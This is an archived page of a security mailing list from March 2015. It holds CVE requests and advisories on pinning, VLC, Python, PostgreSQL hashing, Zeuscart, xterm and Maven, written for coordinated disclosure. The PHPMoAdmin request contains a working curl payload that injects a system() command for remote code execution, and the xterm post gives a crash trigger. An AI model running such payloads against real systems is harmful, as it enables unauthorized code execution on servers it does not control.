Florian Weimer | 5 Mar 13:43 2015

Certificate pinning and the browser PKI

I'm looking for suggestions how to implement certificate pinning.

Things are relatively straightforward if you are not in the browser PKI
because you can pin a long-term CA certificate instead, and not the
server certificate.  Same if you have a dedicated (sub-)CA in the
browser PKI.

But if your server has to be in the browser PKI, things get a bit messy.
 Pinning the CA may not offer much protection (because you are still
exposed to RA failures at the CA).  Pinning the server certificate is
problematic because the certificates are relatively short-lived, and the
rollovers have to be coordinated carefully.

So for the browser PKI case, it may make sense to pin the server public
key instead (n *and *e), not the entire certificate.  During regular
rollover, you can keep the public key, and you can have a pre-pinned
offline copy for emergency rollovers.

Or use SNI, a different endpoint name, and a separate certificate
outside browser PKI, and pin that.

Are there other options I'm missing?

The pinned certificate magically appears, thanks to the software update
infrastructure, so that's a solved problem.  It's just synchronizing
things within the update infrastructure to external events that can be
tricky, for various reasons.


Florian Weimer / Red Hat Product Security
(Continue reading)

Bill Blough | 5 Mar 02:45 2015

CVE-2014-6440: Heap Overflow in VLC Transcode Module

Executive Summary

VLC versions before 2.1.5 contain a vulnerability in the transcode module that
may allow a corrupted stream to overflow buffers on the heap. With a
non-malicious input, this could lead to heap corruption and a crash.  However,
under the right circumstances, a malicious attacker could potentially use this
vulnerability to hijack program execution, and on some platforms, execute
arbitrary code.


Prior to being notified of this issue, the VLC team had already made changes to
the 2.2 development branch [0][1][2] that corrects this issue by reinitilizing
the filters when a format change is detected. However, the fixes had not yet
been backported to the 2.1 maintenance branch.

Once notified, the VLC team quickly resolved the issue by backporting the
relevant patches to the maintenance branch [3][4][5]. They also added an
additional check on both the development[6] and maintenance[7] branches for
good measure.

CVE-2014-6440 [8] was assigned to this issue.


 2014-04-18: VLC team notified of issue
(Continue reading)

Paul McMillan | 4 Mar 22:27 2015

unassigning CVE-2015-2104


I'm part of the Python security response team, and we'd like to have
CVE-2015-2104 unassigned. It was opened by a bug reporter without
consulting with us first, and was assigned without input from the
project. The reported bug stems from a misunderstanding of documented
behavior, and is a bug in upstream code, rather than a security issue
with the core Python language.


Kurt Seifried | 4 Mar 18:55 2015

Another Python app (rhn-setup: rhnreg_ks) not checking hostnames in certs properly CVE-2015-1777


Jan Bee of the Google Security Team reports:

The /usr/sbin/rhnreg_ks fails to properly validate hostnames in
certificates. This can result in man in the middle attacks.


Please note that this issue cannot easily be exploited to cause any
significant damage to a system other then preventing registration from
taking place properly which the attacker would be able to do in any
event if the can man in the middle the connection.


Kurt Seifried -- Red Hat -- Product Security -- Cloud
PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

Florian Weimer | 4 Mar 11:55 2015

CVE request: Invalid pointer dereference in the GNOME librest library

The OAuth implementation in librest, a helper library for RESTful
services part of the GNOME project, incorrectly truncates the pointer
returned by the rest_proxy_call_get_url function call, leading to an
application crash, or worse.

Upstream bug: https://bugzilla.gnome.org/show_bug.cgi?id=742644
Commit: https://git.gnome.org/browse/librest/commit/?id=b50ace7738ea038
See also: https://bugzilla.redhat.com/show_bug.cgi?id=1183982

The security impact was noted in 2015, although the bug was fixed in 2014.


Florian Weimer / Red Hat Product Security

Henri Salo | 4 Mar 08:35 2015

CVE request: PHPMoAdmin Unauthorized Remote Code Execution

Hello MITRE,

Can you assign 2015 CVE identifier for unauthorized remote code execution
vulnerability in PHPMoAdmin <http://www.phpmoadmin.com/>, thanks.

curl "http://example.com/moadmin.php"; -d "object=1;system('id');exit"

Original advisory: http://seclists.org/fulldisclosure/2015/Mar/19


Henri Salo
Michael Samuel | 4 Mar 00:42 2015

PostgreSQL password hashing

Hi all,

I'm posting this to the list, since it seems to be making the rounds finally :)

The "pass the hash" flaw and weak password hashing scheme in
PostgreSQL was known to be weak at the time it was implemented.  I was
among a chorus of people who spoke out about it at the time of it's
inclusion, but the developers' response boiled down to:

This was recently rediscovered by atom from hashcat:

To protect yourself:
1) Put "password" instead of "md5" in pg_hba.conf
2) Use a randomly generated, unique password rather than an actual word.
3) Don't let attackers see your pg_shadow

The reason for (1) is that the password auth protocol doesn't accept
hashes.  Use TLS if network attacks are a problem.

The reason for (2) - which is a good idea anyway - is because the hash
in the database is is just md5(password username).  If the username is
"wordpress" for example, you could crack multiple hashes for similar
cost to cracking one.

(3) is a bit tongue-in-cheek, but pg_shadow is only accessible to
superusers, so don't connect your webapp as a database superuser and
you significantly reduce the risk of lots of bad stuff :)

(Continue reading)

Galen Charlton | 4 Mar 00:07 2015

CVE request


As a committer for the Evergreen integrated library system project,
I'd like to request CVE number(s) for the following issues in today's
security releases.

Release announcement:


Security issues resolved with the release:

[1] Org Unit Setting View Permissions Can Be Bypassed


[2] Credit Card Processor settings visible in LSE History


Both bugs had permitted remote unauthenticated access of confidential
application configuration settings.



Galen Charlton
Infrastructure and Added Services Manager
Equinox Software, Inc. / The Open Source Experts
(Continue reading)

Kurt Seifried | 3 Mar 08:23 2015

Debian / xterm #779397


Package: xterm
Version: 312-1
Severity: important
Tags: security

$ xterm -S/dev/pts/20
*** buffer overflow detected ***: /usr/bin/xterm terminated


This was fixed in #314, two months ago.

Thomas E. Dickey <dickey@...>

Did this get a CVE? I don't see a DSA for xterm.


Kurt Seifried -- Red Hat -- Product Security -- Cloud
PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

cve | 2 Mar 20:44 2015

Re: CVE-Request -- Zeuscart v. 4 -- Multiple reflecting XSS-, SQLi and InformationDisclosure-vulnerabilities

> Reflecting XSS-vulnerabilities can be found in a common
> Zeuscart-installation in the following locations

Use CVE-2015-2182.

> The SQL injection-vulnerabilities can be found in the administrative
> backend of Zeuscart v. 4

We did not completely understand this part of the vendor interaction:



The vendor seems to be suggesting the CVE-2014-3868 patch, which had
been previously discussed in the
http://seclists.org/fulldisclosure/2014/Jun/116 post. This patch seems
related to:


whereas your report is about:

(Continue reading)

Martin Prpic | 2 Mar 14:07 2015

CVE request: Maven downloads JARs via HTTP


I don't see a CVE assigned for this anywhere:


"Maven Central can now be accessed via HTTPS. I think the default
configuration should be switched to use that, rather than the current
unsecured HTTP transport."

This was fixed in Maven 3.2.3:




Martin Prpič / Red Hat Product Security